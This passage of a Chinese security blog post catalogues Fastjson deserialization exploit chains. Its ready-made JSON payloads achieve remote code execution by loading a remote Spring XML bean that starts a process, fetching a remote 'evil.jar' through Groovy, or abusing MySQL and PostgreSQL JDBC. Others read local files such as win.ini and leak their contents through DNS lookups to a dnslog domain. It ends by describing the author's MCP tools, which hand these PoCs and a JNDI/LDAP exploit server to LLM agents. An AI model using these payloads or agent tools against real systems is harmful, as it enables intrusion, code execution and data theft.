0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
}],
"x":{"$ref":"$.bOM"}
}
```
触发:
```json
{
"@type": "java.lang.Exception",
"@type": "Tomcat678910cmdechoException"
}
// 添加setCmd方法,或参数为cmd的构造方法
{
"@type": "java.lang.Exception",
"@type": "Tomcat678910cmdechoException"
"cmd": "calc"
}
```
最终利用类记得继承 Exception;或者在类上加 `@JSONType`
![](https://i.im.ge/QMVveiT/p2m-f1c5c54a18.png)
推荐用 java-chains 生成:
![](https://i.im.ge/QMVJQGL/p2m-c63fb2211f.png)
![](https://i.im.ge/QMVJMbc/p2m-196392797e.png)
## PostgreSql
### jackson 依赖
1.2.75 < fastjson <= 1.2.80
jackson-core
9.4.1208 <= org.postgresql:postgresql < 42.2.25
42.3.0 <= org.postgresql:postgresql < 42.3.2
```json
[INFO] Step1:
{"a":"{\"@type\":\"java.lang.Exception\",\"@type\":\"com.fasterxml.jackson.core.exc.InputCoercionException\",\"p\":{}}","b":{"$ref":"$.a.a"},"c":"{\"@type\":\"com.fasterxml.jackson.core.JsonParser\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",\"in\":{}}","d":{"$ref":"$.c.c"}}
[INFO] Step2:
{
"x1": {
"@type": "java.io.InputStream",
"@type": "org.postgresql.copy.PGCopyInputStream",
"connection": {
"@type": "org.postgresql.jdbc.PgConnection",
"hostSpecs": [
{
"host": "127.0.0.1",
"port": 2333
}
],
"user": "root",
"database": "root",
"info": {
"socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext",
"socketFactoryArg": "http://127.0.0.1:8080/bean.xml"
}
}
}
}
```
xml文件:
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>
```
可以去 java-chains 生成:
![](https://i.im.ge/QMVJoaG/p2m-f19b22e383.png)
### jython 依赖
```json
{
"a":{
"@type":"java.lang.Exception",
"@type":"org.python.antlr.ParseException",
"type":{}
},
"b":{
"@type":"org.python.core.PyObject",
"@type":"com.ziclix.python.sql.PyConnection",
"connection":{
"@type":"org.postgresql.jdbc.PgConnection",
"hostSpecs":[
{
"host":"127.0.0.1",
"port":2333
}
],
"user":"user",
"database":"test",
"info":{
"socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext",
"socketFactoryArg":"http://127.0.0.1:8090/exp.xml"
},
"url":""
}
}
}
```
## MySqlJDBC
mysql <= 5.1.48
出网:
```json
[INFO] Step1:
{"a":"{\"@type\":\"java.lang.Exception\",\"@type\":\"com.fasterxml.jackson.core.exc.InputCoercionException\",\"p\":{}}","b":{"$ref":"$.a.a"},"c":"{\"@type\":\"com.fasterxml.jackson.core.JsonParser\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",\"in\":{}}","d":{"$ref":"$.c.c"}}
[INFO] Step2:
{
"@type": "java.io.InputStream",
"@type": "com.mysql.jdbc.CompressedInputStream",
"conn":{
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3308,
"info": {
"user": "mysql",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
}
}
```
不出网,需要先写 Pipe 文件:
```json
[INFO] Step1:
{"a":"{\"@type\":\"java.lang.Exception\",\"@type\":\"com.fasterxml.jackson.core.exc.InputCoercionException\",\"p\":{}}","b":{"$ref":"$.a.a"},"c":"{\"@type\":\"com.fasterxml.jackson.core.JsonParser\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",\"in\":{}}","d":{"$ref":"$.c.c"}}
[INFO] Step2:
{"@type":"java.io.InputStream","@type":"com.mysql.jdbc.CompressedInputStream","conn":{"@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"127.0.0.1","portToConnectTo":3306,"info":{"useSSL":"false","user":"mysql","HOST":"xxx","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","NUM_HOSTS":"1",,"socketFactory":"com.mysql.jdbc.NamedPipeSocketFactory","namedPipePath":"[Pipe_file_path]","DBNAME":"test"},"databaseToConnectTo":"test","url":""}}
```
## groovy(出网加载 jar
1.2.76 <= fastjson < 1.2.83
```json
// 第一次发包
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
// 第二次发包
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:8090/evil.jar"
}
}
```
利用的是 SPI 机制,yaml 反序列化里也接触过。
在 `src` 下创建 `META-INF/services/org.codehaus.groovy.transform.ASTTransformation`,写入恶意类全类名。
然后执行(恶意 jar 名可以改):
```shell
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
```
java-chains 也可以直接生成:
![](https://i.im.ge/QMVJXAx/p2m-6b9e3bae80.png)
## aspectjtools 读文件(需回显)
```json
//第一次
{
"@type":"java.lang.Exception",
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}
// 第二次
{
"@type":"java.lang.Class",
"val":{
"@type":"java.lang.String"{
"@type":"java.util.Locale",
"val":{
"@type":"com.alibaba.fastjson.JSONObject",
{
"@type":"java.lang.String"
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits":[{}]
}
}
}
// 第三次
{
"x":{
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"c:/windows/win.ini"
}
}
// 第三次,报错回显
{
"@type": "java.lang.Character" {
"C": {
"x": {
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "D:/flag.txt"
}
}
}
}
// 第三次,dns回显
{"a":{"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"/Users/su18/Downloads/1.txt"},"b":
{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale", "val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale", "language":{"@type":"java.lang.String"{"$ref":"$"},"country":"aw.su18.dnslog.pw"}}}}}
```
## ognl+io 读写文件 / 目录
遇见得比较少,这里不展开了,直接给链接(懒癌犯了):
首次出现于 KCON2022
\[[https://github.com/knownsec/KCon/blob/master/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf\]](https://github.com/knownsec/KCon/blob/master/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf])([https://github.com/knownsec/KCon/blob/master/2022/Hacking](https://github.com/knownsec/KCon/blob/master/2022/Hacking) JSON【KCon2022】.pdf)
[https://github.com/kezibei/fastjson\_payload/blob/main/src/test/Fastjson22\_ognl\_io\_read\_error\_dnslog.java](https://github.com/kezibei/fastjson_payload/blob/main/src/test/Fastjson22_ognl_io_read_error_dnslog.java)
[https://github.com/su18/hack-fastjson-1.2.80](https://github.com/su18/hack-fastjson-1.2.80)
读文件时要结合回显:http / DNS / 报错等;或者逐字节读,靠报错或是否发起 http 请求来判断。
## ajt+xalan+dom4j+io
[https://github.com/kezibei/fastjson\_payload/blob/main/src/test/Fastjson21\_ajt\_xalan\_dom4j\_io\_read\_httplog.java](https://github.com/kezibei/fastjson_payload/blob/main/src/test/Fastjson21_ajt_xalan_dom4j_io_read_httplog.java)
这些依赖组合起来比较少见,也许会在某些框架项目里碰到。受限于笔者知识,这里不深入了。
后面还有一系列不需要 ajt 依赖的:
[https://github.com/kezibei/fastjson\_payload/blob/main/src/test/Fastjson27\_xalan\_dom4j\_io\_read\_error\_dnslog.java](https://github.com/kezibei/fastjson_payload/blob/main/src/test/Fastjson27_xalan_dom4j_io_read_error_dnslog.java)
# 相关题目
[https://github.com/luelueking/CVE-2022-25845-In-Spring](https://github.com/luelueking/CVE-2022-25845-In-Spring)
[Fastjson Decoder-docker环境下的利用](https://github.com/cwkiller/Java-Puzzle/tree/main/Fastjson%20Decoder)
[https://github.com/1diot9/CTFJavaChallenge/tree/main/2025/%E4%BA%AC%E9%BA%92CTF](https://github.com/1diot9/CTFJavaChallenge/tree/main/2025/京麒CTF)
[https://mp.weixin.qq.com/s/GEGPpQ\_1nflO\_w4cefB-xA](https://mp.weixin.qq.com/s/GEGPpQ_1nflO_w4cefB-xA)
[http://www.bmth666.cn/2022/10/19/Fastjson%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/](http://www.bmth666.cn/2022/10/19/Fastjson高版本的奇技淫巧/)
[https://flowerwind.github.io/2025/02/28/%E5%88%86%E4%BA%AB%E4%B8%80%E6%AC%A1%E7%BB%84%E5%90%88%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%8B%BF%E4%B8%8B%E7%9B%AE%E6%A0%87/](https://flowerwind.github.io/2025/02/28/分享一次组合漏洞挖掘拿下目标/) 83版本,配合其他写文件漏洞,也能getshell
[https://1diot9.github.io/2026/02/18/%E4%BA%AC%E9%BA%92CTF25-FastJ/](https://1diot9.github.io/2026/02/18/京麒CTF25-FastJ/) JDK11写文件漏洞在80版本的特殊利用
# 相关工具
Fastjson 最大的特点是:换个环境,PoC往往得改一改才能用。所以笔者这边写的工具,定位不太一样——主要给LLM/Agent 提供payload模板、标准PoC脚本和漏洞分析文档,当知识库用;把「组件识别、版本探测、依赖探测」这类相对能稳定跑通的活,交给代码。
现在还是demo级别,没怎么过实战,只在本地靶场测过;能力和框架基本齐了,师傅们有兴趣可以提 Issue/PR,或者自己二开。
## FastjsonExpToolkit
[https://github.com/1diot9/FastjsonExpToolkit](https://github.com/1diot9/FastjsonExpToolkit)
Fastjson 全版本探测 / PoC / WAF 绕过工具箱,Web UI 和 MCP(Agent)共用同一套引擎。
大致能力:
1、`detect_pipeline`:识别 → 版本 → 期望类 2、`deps_probe`:依赖 / classpath 探测(Character 报错回显,可降级 Class MiscCodec,也可走 DNS 3、`poc_catalog` / `poc_run` / `poc_script`:按版本列 gadget、生成或发送 PoC,复杂逻辑可取原脚本自己改 4、`docs_list` / `docs_get`:内置探测与各版本分析文档 5、Web 端还有 `/detect`、`/poc`、`/waf`、`/lab` 等页面,以及 Docker 靶场启停
推荐工作流:`detect_pipeline` → `deps_probe` → `poc_catalog` / `poc_run`;需要改脚本时走 `poc_script`。
## JNDI-Exp-MCP
[https://github.com/1diot9/JNDI-Exp-MCP](https://github.com/1diot9/JNDI-Exp-MCP)
给 Agent 提供「起 JNDI 服务」能力的 MCP 工具。引擎基于 [kezibei/JNDIexp](https://github.com/kezibei/JNDIexp),补了内置字节码挂载。
同时也内置了几个测试靶场,能满足版本探测,gadget测试的功能。
大致流程:`catalog_list` → `jndi_start` → `bytecode_mount` / `ldap_url_build` → 把 `ldap://...` 交给上游 Fastjson PoC → `session_hits` 看命中。和 FastjsonExpToolkit 搭配时,一个负责拼链路,一个负责起 LDAP / codebase。
## 其它常用
文中多处 payload也可直接用 [java-chains](https://github.com/vulhub/java-chains) 生成(Currency、ioFinal、groovy、PostgreSql 等)。靶场环境可参考 [FastJsonParty](https://github.com/lemono0/FastJsonParty)。
# 后记
感谢前辈们的优秀文章,让我学到了不少新东西。
网上开源的 Fastjson 扫描工具很多都停更了,所以这边也顺手写了点(见上文「相关工具」),还很粗糙,有空再慢慢补。
很多 payload来自 KCON、GEEKCON 这类会议。以后有空把各种会议里和 Java 相关的 PPT 收集一下,也是一种学习方式。
# 参考
[springboot环境下的写文件RCE](https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA)
[Fastjson高版本的奇技淫巧](http://www.bmth666.cn/2022/10/19/Fastjson高版本的奇技淫巧/index.html)
[Fastjson反序列化漏洞复现 | Yang Hao's blog](https://yanghaoi.github.io/2024/08/18/fastjson-lou-dong-chang-jian-wa-jue-he-li-yong-fang-fa/)
[Fastjson commons-io任意文件读写](http://www.bmth666.cn/2025/12/30/Fastjson-commons-io任意文件读写/index.html)
[fastjson 读文件 gadget 的利用场景扩展](https://mp.weixin.qq.com/s/esjHYVm5aCJfkT6I1D0uTQ)
[https://changeyourway.github.io/2025/08/23/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Fastjson%201.2.68-1.2.80%20%E5%88%A9%E7%94%A8/#PostgreSQL-JDBC](https://changeyourway.github.io/2025/08/23/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Fastjson%201.2.68-1.2.80%20%E5%88%A9%E7%94%A8/#PostgreSQL-JDBC)
[fastjson 1.2.80 漏洞分析](https://y4er.com/posts/fastjson-1.2.80/#jdbc)
[https://kagty1.github.io/2026/01/18/Fastjson%201.2.80%20%E8%AF%BB%E5%86%99%E6%96%87%E4%BB%B6%20&%20SpringBoot%E5%88%A9%E7%94%A8%20&%20Postgresql%E5%88%A9%E7%94%A8\_cos/#postgresql-%E5%88%A9%E7%94%A8](https://kagty1.github.io/2026/01/18/Fastjson%201.2.80%20%E8%AF%BB%E5%86%99%E6%96%87%E4%BB%B6%20&%20SpringBoot%E5%88%A9%E7%94%A8%20&%20Postgresql%E5%88%A9%E7%94%A8_cos/#postgresql-%E5%88%A9%E7%94%A8)
[GitHub - lemono0/FastJsonParty](https://github.com/lemono0/FastJsonParty)
[炒冷饭之FastJson](https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww)
[Ghost Bits详解](https://mp.weixin.qq.com/s/fIvmKkT6e8d8PY5OruG4mw)
[fastjson 1.2.80的一些小链](https://mp.weixin.qq.com/s/bGtqCFElmWtLrOY5GWRrbg)
[Fastjson 1.2.83 checkAutoType 绕过 RCE 复现总结-先知社区](https://xz.aliyun.com/news/92550)
[fastjson 1.2.83 JSONType RCE详解](https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w)
[奇安信攻防社区-手撕 FastJson 1.2.83 RCE 原理](https://forum.butian.net/share/5001)